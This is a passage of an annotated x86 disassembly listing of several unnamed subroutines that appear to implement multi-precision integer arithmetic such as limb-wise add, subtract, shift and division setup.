0806275a  49                   dec      %ecx
0806275b  39 ca                cmp      %ecx,%edx
0806275d  7d 0c                jge      0806276b <Unknown0340+0x103>
0806275f  90                   nop
08062760  8b 04 93             mov      (%ebx,%edx,4),%eax
08062763  89 04 96             mov      %eax,(%esi,%edx,4)
08062766  42                   inc      %edx
08062767  39 ca                cmp      %ecx,%edx
08062769  7c f5                jl       08062760 <Unknown0340+0xf8>
0806276b  8b 45 98             mov      0xffffff98(%ebp),%eax
0806276e  85 c0                test     %eax,%eax
08062770  0f 8e 60 01 00 00    jle      080628d6 <Unknown0340+0x26e>  ;352 'x60 x1 x0 x0' "`"
08062776  8b 4d a4             mov      0xffffffa4(%ebp),%ecx
08062779  8d 14 81             lea      (%ecx,%eax,4),%edx
0806277c  8b 5a fc             mov      0xfffffffc(%edx),%ebx
0806277f  85 db                test     %ebx,%ebx
08062781  0f 85 4f 01 00 00    jne      080628e6 <Unknown0340+0x26e>  ;335 'x4f x1 x0 x0' "O"
08062787  83 ea 04             sub      $0x4,%edx
0806278a  89 f6                mov      %esi,%esi
0806278c  48                   dec      %eax
0806278d  83 ea 04             sub      $0x4,%edx
08062790  85 c0                test     %eax,%eax
08062792  0f 8e 3e 01 00 00    jle      080628d6 <Unknown0340+0x26e>  ;318 'x3e x1 x0 x0' ">"
08062798  8b 0a                mov      (%edx),%ecx
0806279a  85 c9                test     %ecx,%ecx
0806279c  74 ee                je       0806278c <Unknown0340+0x124>
0806279e  e9 33 01 00 00       jmp      080628d6 <Unknown0340+0x26e>  ;307 'x33 x1 x0 x0' "3"
080627a3  90                   nop
080627a4  57                   push     %edi
080627a5  ff 75 98             pushl    0xffffff98(%ebp)
080627a8  56                   push     %esi
080627a9  53                   push     %ebx
080627aa  e8 f1 08 00 00       call     080630a0 <Unknown0351>
080627af  83 c4 10             add      $0x10,%esp
080627b2  85 c0                test     %eax,%eax
080627b4  79 4a                jns      08062800 <Unknown0340+0x198>
080627b6  ff 75 98             pushl    0xffffff98(%ebp)
080627b9  53                   push     %ebx
080627ba  56                   push     %esi
080627bb  ff 75 a4             pushl    0xffffffa4(%ebp)
080627be  e8 55 28 00 00       call     08065018 <Unknown0375>
080627c3  8b 45 98             mov      0xffffff98(%ebp),%eax
080627c6  83 c4 10             add      $0x10,%esp
080627c9  85 c0                test     %eax,%eax
080627cb  7e 21                jle      080627ee <Unknown0340+0x186>
080627cd  8b 4d a4             mov      0xffffffa4(%ebp),%ecx
080627d0  8d 14 81             lea      (%ecx,%eax,4),%edx
080627d3  8b 5a fc             mov      0xfffffffc(%edx),%ebx
080627d6  85 db                test     %ebx,%ebx
080627d8  75 14                jne      080627ee <Unknown0340+0x186>
080627da  83 ea 04             sub      $0x4,%edx
080627dd  8d 76 00             lea      0x0(%esi),%esi
080627e0  48                   dec      %eax
080627e1  83 ea 04             sub      $0x4,%edx
080627e4  85 c0                test     %eax,%eax
080627e6  7e 06                jle      080627ee <Unknown0340+0x186>
080627e8  8b 0a                mov      (%edx),%ecx
080627ea  85 c9                test     %ecx,%ecx
080627ec  74 f2                je       080627e0 <Unknown0340+0x178>
080627ee  8b 7d a0             mov      0xffffffa0(%ebp),%edi
080627f1  85 ff                test     %edi,%edi
080627f3  0f 88 e6 00 00 00    js       080628df <Unknown0340+0x277>  ;230 'xe6 x0 x0 x0' ""
080627f9  e9 df 00 00 00       jmp      080628dd <Unknown0340+0x275>  ;223 'xdf x0 x0 x0' ""
080627fe  89 f6                mov      %esi,%esi
08062800  ff 75 98             pushl    0xffffff98(%ebp)
08062803  56                   push     %esi
08062804  53                   push     %ebx
08062805  ff 75 a4             pushl    0xffffffa4(%ebp)
08062808  e8 0b 28 00 00       call     08065018 <Unknown0375>
0806280d  8b 45 98             mov      0xffffff98(%ebp),%eax
08062810  83 c4 10             add      $0x10,%esp
08062813  85 c0                test     %eax,%eax
08062815  7e 1f                jle      08062836 <Unknown0340+0x1ce>
08062817  8b 4d a4             mov      0xffffffa4(%ebp),%ecx
0806281a  8d 14 81             lea      (%ecx,%eax,4),%edx
0806281d  8b 72 fc             mov      0xfffffffc(%edx),%esi
08062820  85 f6                test     %esi,%esi
08062822  75 12                jne      08062836 <Unknown0340+0x1ce>
```

```
08062824  83 ea 04              sub     $0x4,%edx
08062827  90                    nop
08062828  48                    dec     %eax
08062829  83 ea 04              sub     $0x4,%edx
0806282c  85 c0                 test    %eax,%eax
0806282e  7e 06                 jle     08062836 <Unknown0340+0x1ce>
08062830  8b 1a                 mov     (%edx),%ebx
08062832  85 db                 test    %ebx,%ebx
08062834  74 f2                 je      08062828 <Unknown0340+0x1c0>
08062836  8b 4d a0              mov     0xffffffa0(%ebp),%ecx
08062839  85 c9                 test    %ecx,%ecx
0806283b  e9 9b 00 00 00        jmp     080628db <Unknown0340+0x273>  ;155 'x9b x0 x0 x0' ""
08062840  85 ff                 test    %edi,%edi
08062842  c7 45 90 00 00 00 00  movl    $0x0,0xffffff90(%ebp)  ;0 'x0 x0 x0 x0' ""
08062849  74 11                 je      0806285c <Unknown0340+0x1f4>
0806284b  57                    push    %edi
0806284c  56                    push    %esi
0806284d  53                    push    %ebx
0806284e  ff 75 a4              pushl   0xffffffa4(%ebp)
08062851  e8 92 07 00 00        call    08062fe8 <Unknown0350>
08062856  89 45 90              mov     %eax,0xffffff90(%ebp)
08062859  83 c4 10              add     $0x10,%esp
0806285c  39 7d 98              cmp     %edi,0xffffff98(%ebp)
0806285f  74 65                 je      080628c6 <Unknown0340+0x25e>
08062861  8d 04 bd 00 00 00 00  lea     0x0(,%edi,4),%eax  ;0 'x0 x0 x0 x0' ""
08062868  8b 55 a4              mov     0xffffffa4(%ebp),%edx
0806286b  8d 1c 03              lea     (%ebx,%eax,1),%ebx
0806286e  8d 34 02              lea     (%edx,%eax,1),%esi
08062871  8b 13                 mov     (%ebx),%edx
08062873  8b 45 90              mov     0xffffff90(%ebp),%eax
08062876  8b 4d 98              mov     0xffffff98(%ebp),%ecx
08062879  01 d0                 add     %edx,%eax
0806287b  29 f9                 sub     %edi,%ecx
0806287d  83 c3 04              add     $0x4,%ebx
08062880  89 06                 mov     %eax,(%esi)
08062882  83 c6 04              add     $0x4,%esi
08062885  39 d0                 cmp     %edx,%eax
08062887  73 1f                 jae     080628a8 <Unknown0340+0x240>
08062889  49                    dec     %ecx
0806288a  74 12                 je      0806289e <Unknown0340+0x236>
0806288c  8b 13                 mov     (%ebx),%edx
0806288e  42                    inc     %edx
0806288f  83 c3 04              add     $0x4,%ebx
08062892  89 16                 mov     %edx,(%esi)
08062894  83 c6 04              add     $0x4,%esi
08062897  85 d2                 test    %edx,%edx
08062899  75 0d                 jne     080628a8 <Unknown0340+0x240>
0806289b  49                    dec     %ecx
0806289c  75 ee                 jne     0806288c <Unknown0340+0x224>
0806289e  c7 45 90 01 00 00 00  movl    $0x1,0xffffff90(%ebp)  ;1 'x1 x0 x0 x0' ""
080628a5  eb 1f                 jmp     080628c6 <Unknown0340+0x25e>
080628a7  90                    nop
080628a8  39 de                 cmp     %ebx,%esi
080628aa  74 13                 je      080628bf <Unknown0340+0x257>
080628ac  31 d2                 xor     %edx,%edx
080628ae  49                    dec     %ecx
080628af  39 ca                 cmp     %ecx,%edx
080628b1  7d 0c                 jge     080628bf <Unknown0340+0x257>
080628b3  90                    nop
080628b4  8b 04 93              mov     (%ebx,%edx,4),%eax
080628b7  89 04 96              mov     %eax,(%esi,%edx,4)
080628ba  42                    inc     %edx
080628bb  39 ca                 cmp     %ecx,%edx
080628bd  7c f5                 jl      080628b4 <Unknown0340+0x24c>
080628bf  c7 45 90 00 00 00 00  movl    $0x0,0xffffff90(%ebp)  ;0 'x0 x0 x0 x0' ""
080628c6  8b 55 90              mov     0xffffff90(%ebp),%edx
080628c9  8b 4d 98              mov     0xffffff98(%ebp),%ecx
080628cc  8b 45 a4              mov     0xffffffa4(%ebp),%eax
080628cf  89 14 88              mov     %edx,(%eax,%ecx,4)
080628d2  89 c8                 mov     %ecx,%eax
080628d4  01 d0                 add     %edx,%eax
080628d6  8b 55 a0              mov     0xffffffa0(%ebp),%edx
080628d9  85 d2                 test    %edx,%edx
080628db  79 02                 jns     080628df <Unknown0340+0x277>
080628dd  f7 d8                 neg     %eax
080628df  8b 4d 08              mov     0x8(%ebp),%ecx
080628e2  89 41 04              mov     %eax,0x4(%ecx)
080628e5  8d 65 f4              lea     0xfffffff4(%ebp),%esp
080628e8  5b                    pop     %ebx
080628e9  5e                    pop     %esi
080628ea  5f                    pop     %edi
080628eb  5d                    pop     %ebp
080628ec  c3                    ret
080628ed  8d 76 00              lea     0x0(%esi),%esi
```

```
;
; >--------------------<  Subroutine # 341 >--------------------<
;
080628f0 <Unknown0341>:
080628f0  55              push    %ebp
080628f1  89 e5           mov     %esp,%ebp
080628f3  57              push    %edi
080628f4  56              push    %esi
080628f5  53              push    %ebx
080628f6  83 ec 0c        sub     $0xc,%esp
080628f9  8b 75 0c        mov     0xc(%ebp),%esi
080628fc  8b 7e 04        mov     0x4(%esi),%edi
080628ff  85 ff           test    %edi,%edi
08062901  89 fb           mov     %edi,%ebx
08062903  79 02           jns     08062907 <Unknown0341+0x17>
08062905  f7 df           neg     %edi
08062907  8d 47 01        lea     0x1(%edi),%eax
0806290a  8b 55 08        mov     0x8(%ebp),%edx
0806290d  39 02           cmp     %eax,(%edx)
0806290f  7d 0d           jge     0806291e <Unknown0341+0x2e>
08062911  83 ec 08        sub     $0x8,%esp
08062914  50              push    %eax
08062915  52              push    %edx
08062916  e8 35 fa ff ff  call    08062350 <Unknown0331>
0806291b  83 c4 10        add     $0x10,%esp
0806291e  8b 45 08        mov     0x8(%ebp),%eax
08062921  8b 40 08        mov     0x8(%eax),%eax
08062924  85 ff           test    %edi,%edi
08062926  8b 4e 08        mov     0x8(%esi),%ecx
08062929  89 45 f0        mov     %eax,0xfffffff0(%ebp)
0806292c  75 12           jne     08062940 <Unknown0341+0x50>
0806292e  8b 55 10        mov     0x10(%ebp),%edx
08062931  89 10           mov     %edx,(%eax)
08062933  31 c0           xor     %eax,%eax
08062935  85 d2           test    %edx,%edx
08062937  0f 94 c0        sete    %al
0806293a  48              dec     %eax
0806293b  e9 ed 00 00 00  jmp     08062a2d <Unknown0341+0x13d>   ;237 'xed x0 x0 x0' ""
08062940  85 db           test    %ebx,%ebx
08062942  79 68           jns     080629ac <Unknown0341+0xbc>
08062944  8b 11           mov     (%ecx),%edx
08062946  8b 45 10        mov     0x10(%ebp),%eax
08062949  01 d0           add     %edx,%eax
0806294b  8d 71 04        lea     0x4(%ecx),%esi
0806294e  8b 4d f0        mov     0xfffffff0(%ebp),%ecx
08062951  89 01           mov     %eax,(%ecx)
08062953  8b 4d f0        mov     0xfffffff0(%ebp),%ecx
08062956  83 c1 04        add     $0x4,%ecx
08062959  39 d0           cmp     %edx,%eax
0806295b  89 fb           mov     %edi,%ebx
0806295d  73 21           jae     08062980 <Unknown0341+0x90>
0806295f  4b              dec     %ebx
08062960  74 14           je      08062976 <Unknown0341+0x86>
08062962  89 f6           mov     %esi,%esi
08062964  8b 16           mov     (%esi),%edx
08062966  42              inc     %edx
08062967  83 c6 04        add     $0x4,%esi
0806296a  89 11           mov     %edx,(%ecx)
0806296c  83 c1 04        add     $0x4,%ecx
0806296f  85 d2           test    %edx,%edx
08062971  75 0d           jne     08062980 <Unknown0341+0x90>
08062973  4b              dec     %ebx
08062974  75 ee           jne     08062964 <Unknown0341+0x74>
08062976  b8 01 00 00 00  mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0806297b  eb 1c           jmp     08062999 <Unknown0341+0xa9>
0806297d  8d 76 00        lea     0x0(%esi),%esi
08062980  39 f1           cmp     %esi,%ecx
08062982  74 13           je      08062997 <Unknown0341+0xa7>
08062984  31 d2           xor     %edx,%edx
08062986  4b              dec     %ebx
08062987  39 da           cmp     %ebx,%edx
08062989  7d 0c           jge     08062997 <Unknown0341+0xa7>
0806298b  90              nop
0806298c  8b 04 96        mov     (%esi,%edx,4),%eax
0806298f  89 04 91        mov     %eax,(%ecx,%edx,4)
08062992  42              inc     %edx
08062993  39 da           cmp     %ebx,%edx
08062995  7c f5           jl      0806298c <Unknown0341+0x9c>
08062997  31 c0           xor     %eax,%eax
08062999  8b 55 f0        mov     0xfffffff0(%ebp),%edx
0806299c  89 04 ba        mov     %eax,(%edx,%edi,4)
0806299f  8d 04 38        lea     (%eax,%edi,1),%eax
```

```
080629a2  f7 d8           neg     %eax
080629a4  e9 84 00 00 00  jmp     08062a2d <Unknown0341+0x13d>   ;132 'x84 x0 x0 x0' ""
080629a9  8d 76 00        lea     0x0(%esi),%esi
080629ac  83 ff 01        cmp     $0x1,%edi
080629af  75 1b           jne     080629cc <Unknown0341+0xdc>
080629b1  8b 01           mov     (%ecx),%eax
080629b3  3b 45 10        cmp     0x10(%ebp),%eax
080629b6  73 14           jae     080629cc <Unknown0341+0xdc>
080629b8  29 45 10        sub     %eax,0x10(%ebp)
080629bb  8b 45 10        mov     0x10(%ebp),%eax
080629be  8b 4d f0        mov     0xfffffff0(%ebp),%ecx
080629c1  89 01           mov     %eax,(%ecx)
080629c3  b8 ff ff ff ff  mov     $0xffffffff,%eax   ;-1 'xff xff xff xff' ""
080629c8  eb 63           jmp     08062a2d <Unknown0341+0x13d>
080629ca  89 f6           mov     %esi,%esi
080629cc  89 cb           mov     %ecx,%ebx
080629ce  8b 13           mov     (%ebx),%edx
080629d0  89 d0           mov     %edx,%eax
080629d2  2b 45 10        sub     0x10(%ebp),%eax
080629d5  8b 4d f0        mov     0xfffffff0(%ebp),%ecx
080629d8  89 01           mov     %eax,(%ecx)
080629da  8b 4d f0        mov     0xfffffff0(%ebp),%ecx
080629dd  83 c3 04        add     $0x4,%ebx
080629e0  83 c1 04        add     $0x4,%ecx
080629e3  39 d0           cmp     %edx,%eax
080629e5  89 fe           mov     %edi,%esi
080629e7  76 1b           jbe     08062a04 <Unknown0341+0x114>
080629e9  4e              dec     %esi
080629ea  74 2f           je      08062a1b <Unknown0341+0x12b>
080629ec  8b 13           mov     (%ebx),%edx
080629ee  8d 42 ff        lea     0xffffffff(%edx),%eax
080629f1  83 c3 04        add     $0x4,%ebx
080629f4  89 01           mov     %eax,(%ecx)
080629f6  83 c1 04        add     $0x4,%ecx
080629f9  85 d2           test    %edx,%edx
080629fb  75 07           jne     08062a04 <Unknown0341+0x114>
080629fd  4e              dec     %esi
080629fe  75 ec           jne     080629ec <Unknown0341+0xfc>
08062a00  eb 19           jmp     08062a1b <Unknown0341+0x12b>
08062a02  89 f6           mov     %esi,%esi
08062a04  39 d9           cmp     %ebx,%ecx
08062a06  74 13           je      08062a1b <Unknown0341+0x12b>
08062a08  31 d2           xor     %edx,%edx
08062a0a  4e              dec     %esi
08062a0b  39 f2           cmp     %esi,%edx
08062a0d  7d 0c           jge     08062a1b <Unknown0341+0x12b>
08062a0f  90              nop
08062a10  8b 04 93        mov     (%ebx,%edx,4),%eax
08062a13  89 04 91        mov     %eax,(%ecx,%edx,4)
08062a16  42              inc     %edx
08062a17  39 f2           cmp     %esi,%edx
08062a19  7c f5           jl      08062a10 <Unknown0341+0x120>
08062a1b  8b 55 f0        mov     0xfffffff0(%ebp),%edx
08062a1e  8b 54 ba fc     mov     0xfffffffc(%edx,%edi,4),%edx
08062a22  31 c0           xor     %eax,%eax
08062a24  85 d2           test    %edx,%edx
08062a26  0f 94 c0        sete    %al
08062a29  29 c7           sub     %eax,%edi
08062a2b  89 f8           mov     %edi,%eax
08062a2d  8b 4d 08        mov     0x8(%ebp),%ecx
08062a30  89 41 04        mov     %eax,0x4(%ecx)
08062a33  8d 65 f4        lea     0xfffffff4(%ebp),%esp
08062a36  5b              pop     %ebx
08062a37  5e              pop     %esi
08062a38  5f              pop     %edi
08062a39  5d              pop     %ebp
08062a3a  c3              ret
08062a3b  90              nop


  ;
  ; >--------------------<  Subroutine # 342 >--------------------<
  ;
08062a3c <Unknown0342>:
08062a3c  55              push    %ebp
08062a3d  89 e5           mov     %esp,%ebp
08062a3f  57              push    %edi
08062a40  56              push    %esi
08062a41  53              push    %ebx
08062a42  83 ec 0c        sub     $0xc,%esp
08062a45  8b 45 0c        mov     0xc(%ebp),%eax
08062a48  8b 40 04        mov     0x4(%eax),%eax
08062a4b  8b 7d 10        mov     0x10(%ebp),%edi
08062a4e  c1 ef 05        shr     $0x5,%edi
```

```
08062a51  85 c0                    test    %eax,%eax
08062a53  89 45 f0                 mov     %eax,0xfffffff0(%ebp)
08062a56  79 02                    jns     08062a5a <Unknown0342+0x1e>
08062a58  f7 d8                    neg     %eax
08062a5a  89 c3                    mov     %eax,%ebx
08062a5c  29 fb                    sub     %edi,%ebx
08062a5e  85 db                    test    %ebx,%ebx
08062a60  7f 0e                    jg      08062a70 <Unknown0342+0x34>
08062a62  8b 55 08                 mov     0x8(%ebp),%edx
08062a65  c7 42 04 00 00 00 00     movl    $0x0,0x4(%edx)   ;0 'x0 x0 x0 x0' ""
08062a6c  eb 74                    jmp     08062ae2 <Unknown0342+0xa6>
08062a6e  89 f6                    mov     %esi,%esi
08062a70  8b 45 08                 mov     0x8(%ebp),%eax
08062a73  39 18                    cmp     %ebx,(%eax)
08062a75  7d 0d                    jge     08062a84 <Unknown0342+0x48>
08062a77  83 ec 08                 sub     $0x8,%esp
08062a7a  53                       push    %ebx
08062a7b  50                       push    %eax
08062a7c  e8 cf f8 ff ff           call    08062350 <Unknown0331>
08062a81  83 c4 10                 add     $0x10,%esp
08062a84  8b 55 08                 mov     0x8(%ebp),%edx
08062a87  8b 72 08                 mov     0x8(%edx),%esi
08062a8a  8b 55 0c                 mov     0xc(%ebp),%edx
08062a8d  8b 42 08                 mov     0x8(%edx),%eax
08062a90  8b 55 10                 mov     0x10(%ebp),%edx
08062a93  83 e2 1f                 and     $0x1f,%edx
08062a96  74 20                    je      08062ab8 <Unknown0342+0x7c>
08062a98  52                       push    %edx
08062a99  53                       push    %ebx
08062a9a  8d 04 b8                 lea     (%eax,%edi,4),%eax
08062a9d  50                       push    %eax
08062a9e  56                       push    %esi
08062a9f  e8 64 20 00 00           call    08064b08 <Unknown0369>
08062aa4  8b 4c 9e fc              mov     0xfffffffc(%esi,%ebx,4),%ecx
08062aa8  31 c0                    xor     %eax,%eax
08062aaa  83 c4 10                 add     $0x10,%esp
08062aad  85 c9                    test    %ecx,%ecx
08062aaf  0f 94 c0                 sete    %al
08062ab2  29 c3                    sub     %eax,%ebx
08062ab4  eb 1b                    jmp     08062ad1 <Unknown0342+0x95>
08062ab6  89 f6                    mov     %esi,%esi
08062ab8  31 c9                    xor     %ecx,%ecx
08062aba  39 d9                    cmp     %ebx,%ecx
08062abc  7d 13                    jge     08062ad1 <Unknown0342+0x95>
08062abe  8d 14 b8                 lea     (%eax,%edi,4),%edx
08062ac1  8d 76 00                 lea     0x0(%esi),%esi
08062ac4  8b 02                    mov     (%edx),%eax
08062ac6  89 04 8e                 mov     %eax,(%esi,%ecx,4)
08062ac9  41                       inc     %ecx
08062aca  83 c2 04                 add     $0x4,%edx
08062acd  39 d9                    cmp     %ebx,%ecx
08062acf  7c f3                    jl      08062ac4 <Unknown0342+0x88>
08062ad1  8b 55 f0                 mov     0xfffffff0(%ebp),%edx
08062ad4  85 d2                    test    %edx,%edx
08062ad6  89 d8                    mov     %ebx,%eax
08062ad8  79 02                    jns     08062adc <Unknown0342+0xa0>
08062ada  f7 d8                    neg     %eax
08062adc  8b 55 08                 mov     0x8(%ebp),%edx
08062adf  89 42 04                 mov     %eax,0x4(%edx)
08062ae2  8d 65 f4                 lea     0xfffffff4(%ebp),%esp
08062ae5  5b                       pop     %ebx
08062ae6  5e                       pop     %esi
08062ae7  5f                       pop     %edi
08062ae8  5d                       pop     %ebp
08062ae9  c3                       ret
08062aea  89 f6                    mov     %esi,%esi


  ;
  ; >---------------------<  Subroutine # 343 >---------------------<
  ;
08062aec <Unknown0343>:
08062aec  55                       push    %ebp
08062aed  89 e5                    mov     %esp,%ebp
08062aef  57                       push    %edi
08062af0  56                       push    %esi
08062af1  53                       push    %ebx
08062af2  83 ec 1c                 sub     $0x1c,%esp
08062af5  8b 45 14                 mov     0x14(%ebp),%eax
08062af8  8b 40 04                 mov     0x4(%eax),%eax
08062afb  89 45 e4                 mov     %eax,0xffffffe4(%ebp)
08062afe  8b 7d 10                 mov     0x10(%ebp),%edi
08062b01  8b 47 04                 mov     0x4(%edi),%eax
08062b04  89 45 dc                 mov     %eax,0xffffffdc(%ebp)
```

```
08062b07   8b 55 e4               mov     0xffffffe4(%ebp),%edx
08062b0a   31 55 dc               xor     %edx,0xffffffdc(%ebp)
08062b0d   85 c0                  test    %eax,%eax
08062b0f   89 45 e0               mov     %eax,0xffffffe0(%ebp)
08062b12   89 c6                  mov     %eax,%esi
08062b14   79 02                  jns     08062b18 <Unknown0343+0x2c>
08062b16   f7 de                  neg     %esi
08062b18   8b 45 e4               mov     0xffffffe4(%ebp),%eax
08062b1b   85 c0                  test    %eax,%eax
08062b1d   79 03                  jns     08062b22 <Unknown0343+0x36>
08062b1f   f7 5d e4               negl    0xffffffe4(%ebp)
08062b22   8d 5e 01               lea     0x1(%esi),%ebx
08062b25   8b 4d 0c               mov     0xc(%ebp),%ecx
08062b28   39 19                  cmp     %ebx,(%ecx)
08062b2a   7d 0d                  jge     08062b39 <Unknown0343+0x4d>
08062b2c   83 ec 08               sub     $0x8,%esp
08062b2f   53                     push    %ebx
08062b30   51                     push    %ecx
08062b31   e8 1a f8 ff ff         call    08062350 <Unknown0331>
08062b36   83 c4 10               add     $0x10,%esp
08062b39   2b 5d e4               sub     0xffffffe4(%ebp),%ebx
08062b3c   85 db                  test    %ebx,%ebx
08062b3e   7f 3c                  jg      08062b7c <Unknown0343+0x90>
08062b40   3b 7d 0c               cmp     0xc(%ebp),%edi
08062b43   74 26                  je      08062b6b <Unknown0343+0x7f>
08062b45   8b 47 04               mov     0x4(%edi),%eax
08062b48   8b 5d 0c               mov     0xc(%ebp),%ebx
08062b4b   89 43 04               mov     %eax,0x4(%ebx)
08062b4e   31 d2                  xor     %edx,%edx
08062b50   39 f2                  cmp     %esi,%edx
08062b52   7d 17                  jge     08062b6b <Unknown0343+0x7f>
08062b54   8b 45 0c               mov     0xc(%ebp),%eax
08062b57   8b 58 08               mov     0x8(%eax),%ebx
08062b5a   8b 4f 08               mov     0x8(%edi),%ecx
08062b5d   8d 76 00               lea     0x0(%esi),%esi
08062b60   8b 04 91               mov     (%ecx,%edx,4),%eax
08062b63   89 04 93               mov     %eax,(%ebx,%edx,4)
08062b66   42                     inc     %edx
08062b67   39 f2                  cmp     %esi,%edx
08062b69   7c f5                  jl      08062b60 <Unknown0343+0x74>
08062b6b   8b 55 08               mov     0x8(%ebp),%edx
08062b6e   c7 42 04 00 00 00 00   movl    $0x0,0x4(%edx)      ;0 'x0 x0 x0 x0' ""
08062b75   e9 02 02 00 00         jmp     08062d7c <Unknown0344+0x10>   ;514 'x2 x2 x0 x0' ""
08062b7a   89 f6                  mov     %esi,%esi
08062b7c   8b 4d 08               mov     0x8(%ebp),%ecx
08062b7f   39 19                  cmp     %ebx,(%ecx)
08062b81   7d 0d                  jge     08062b90 <Unknown0343+0xa4>
08062b83   83 ec 08               sub     $0x8,%esp
08062b86   53                     push    %ebx
08062b87   51                     push    %ecx
08062b88   e8 c3 f7 ff ff         call    08062350 <Unknown0331>
08062b8d   83 c4 10               add     $0x10,%esp
08062b90   8b 45 14               mov     0x14(%ebp),%eax
08062b93   8b 40 08               mov     0x8(%eax),%eax
08062b96   8b 7f 08               mov     0x8(%edi),%edi
08062b99   89 45 f0               mov     %eax,0xfffffff0(%ebp)
08062b9c   8b 45 0c               mov     0xc(%ebp),%eax
08062b9f   8b 40 08               mov     0x8(%eax),%eax
08062ba2   83 7d e4 01            cmpl    $0x1,0xffffffe4(%ebp)
08062ba6   89 45 e8               mov     %eax,0xffffffe8(%ebp)
08062ba9   75 5d                  jne     08062c08 <Unknown0343+0x11c>
08062bab   8b 45 08               mov     0x8(%ebp),%eax
08062bae   8b 40 08               mov     0x8(%eax),%eax
08062bb1   8b 55 f0               mov     0xfffffff0(%ebp),%edx
08062bb4   89 45 ec               mov     %eax,0xffffffec(%ebp)
08062bb7   ff 32                  pushl   (%edx)
08062bb9   56                     push    %esi
08062bba   57                     push    %edi
08062bbb   50                     push    %eax
08062bbc   e8 17 05 00 00         call    080630d8 <Unknown0352>
08062bc1   8b 4d ec               mov     0xffffffec(%ebp),%ecx
08062bc4   8b 7c 99 fc            mov     0xfffffffc(%ecx,%ebx,4),%edi
08062bc8   89 c2                  mov     %eax,%edx
08062bca   83 c4 10               add     $0x10,%esp
08062bcd   31 c0                  xor     %eax,%eax
08062bcf   85 ff                  test    %edi,%edi
08062bd1   0f 94 c0               sete    %al
08062bd4   8b 75 dc               mov     0xffffffdc(%ebp),%esi
08062bd7   29 c3                  sub     %eax,%ebx
08062bd9   85 f6                  test    %esi,%esi
08062bdb   89 d8                  mov     %ebx,%eax
08062bdd   79 02                  jns     08062be1 <Unknown0343+0xf5>
08062bdf   f7 d8                  neg     %eax
08062be1   8b 5d 08               mov     0x8(%ebp),%ebx
```

```
08062be4  89 43 04           mov     %eax,0x4(%ebx)
08062be7  8b 45 e8           mov     0xffffffe8(%ebp),%eax
08062bea  89 10              mov     %edx,(%eax)
08062bec  8b 5d e0           mov     0xffffffe0(%ebp),%ebx
08062bef  31 c0              xor     %eax,%eax
08062bf1  85 d2              test    %edx,%edx
08062bf3  0f 95 c0           setne   %al
08062bf6  85 db              test    %ebx,%ebx
08062bf8  79 02              jns     08062bfc <Unknown0343+0x110>
08062bfa  f7 d8              neg     %eax
08062bfc  8b 55 0c           mov     0xc(%ebp),%edx
08062bff  89 42 04           mov     %eax,0x4(%edx)
08062c02  e9 75 01 00 00     jmp     08062d7c <Unknown0344+0x10>  ;373 'x75 x1 x0 x0' "u"
08062c07  90                 nop
08062c08  8b 45 08           mov     0x8(%ebp),%eax
08062c0b  8b 40 08           mov     0x8(%eax),%eax
08062c0e  39 f8              cmp     %edi,%eax
08062c10  89 45 ec           mov     %eax,0xffffffec(%ebp)
08062c13  75 25              jne     08062c3a <Unknown0343+0x14e>
08062c15  8d 04 b5 0f 00 00 00  lea  0xf(,%esi,4),%eax  ;15 'xf x0 x0 x0' ""
08062c1c  83 e0 f0           and     $0xfffffff0,%eax
08062c1f  29 c4              sub     %eax,%esp
08062c21  89 e7              mov     %esp,%edi
08062c23  31 d2              xor     %edx,%edx
08062c25  39 f2              cmp     %esi,%edx
08062c27  7d 11              jge     08062c3a <Unknown0343+0x14e>
08062c29  8d 76 00           lea     0x0(%esi),%esi
08062c2c  8b 4d ec           mov     0xffffffec(%ebp),%ecx
08062c2f  8b 04 91           mov     (%ecx,%edx,4),%eax
08062c32  89 04 97           mov     %eax,(%edi,%edx,4)
08062c35  42                 inc     %edx
08062c36  39 f2              cmp     %esi,%edx
08062c38  7c f2              jl      08062c2c <Unknown0343+0x140>
08062c3a  8b 55 e4           mov     0xffffffe4(%ebp),%edx
08062c3d  c1 e2 02           shl     $0x2,%edx
08062c40  8b 5d f0           mov     0xfffffff0(%ebp),%ebx
08062c43  0f bd 44 1a fc     bsr     0xfffffffc(%edx,%ebx,1),%eax
08062c48  83 f0 1f           xor     $0x1f,%eax
08062c4b  89 45 d8           mov     %eax,0xffffffd8(%ebp)
08062c4e  74 3c              je      08062c8c <Unknown0343+0x1a0>
08062c50  8d 42 0f           lea     0xf(%edx),%eax
08062c53  83 e0 f0           and     $0xfffffff0,%eax
08062c56  29 c4              sub     %eax,%esp
08062c58  89 e3              mov     %esp,%ebx
08062c5a  ff 75 d8           pushl   0xffffffd8(%ebp)
08062c5d  ff 75 e4           pushl   0xffffffe4(%ebp)
08062c60  ff 75 f0           pushl   0xfffffff0(%ebp)
08062c63  53                 push    %ebx
08062c64  e8 5f 12 00 00     call    08063ec8 <Unknown0360>
08062c69  ff 75 d8           pushl   0xffffffd8(%ebp)
08062c6c  56                 push    %esi
08062c6d  57                 push    %edi
08062c6e  ff 75 e8           pushl   0xffffffe8(%ebp)
08062c71  89 5d f0           mov     %ebx,0xfffffff0(%ebp)
08062c74  e8 4f 12 00 00     call    08063ec8 <Unknown0360>
08062c79  83 c4 20           add     $0x20,%esp
08062c7c  85 c0              test    %eax,%eax
08062c7e  74 5e              je      08062cde <Unknown0343+0x1f2>
08062c80  8b 55 e8           mov     0xffffffe8(%ebp),%edx
08062c83  89 04 b2           mov     %eax,(%edx,%esi,4)
08062c86  8d 5e 01           lea     0x1(%esi),%ebx
08062c89  eb 55              jmp     08062ce0 <Unknown0343+0x1f4>
08062c8b  90                 nop
08062c8c  8b 4d e8           mov     0xffffffe8(%ebp),%ecx
08062c8f  39 4d f0           cmp     %ecx,0xfffffff0(%ebp)
08062c92  74 08              je      08062c9c <Unknown0343+0x1b0>
08062c94  8b 5d ec           mov     0xffffffec(%ebp),%ebx
08062c97  39 5d f0           cmp     %ebx,0xfffffff0(%ebp)
08062c9a  75 26              jne     08062cc2 <Unknown0343+0x1d6>
08062c9c  8d 42 0f           lea     0xf(%edx),%eax
08062c9f  83 e0 f0           and     $0xfffffff0,%eax
08062ca2  29 c4              sub     %eax,%esp
08062ca4  89 e1              mov     %esp,%ecx
08062ca6  31 d2              xor     %edx,%edx
08062ca8  8b 45 e4           mov     0xffffffe4(%ebp),%eax
08062cab  39 45 d8           cmp     %eax,0xffffffd8(%ebp)
08062cae  7d 0f              jge     08062cbf <Unknown0343+0x1d3>
08062cb0  8b 5d f0           mov     0xfffffff0(%ebp),%ebx
08062cb3  8b 04 93           mov     (%ebx,%edx,4),%eax
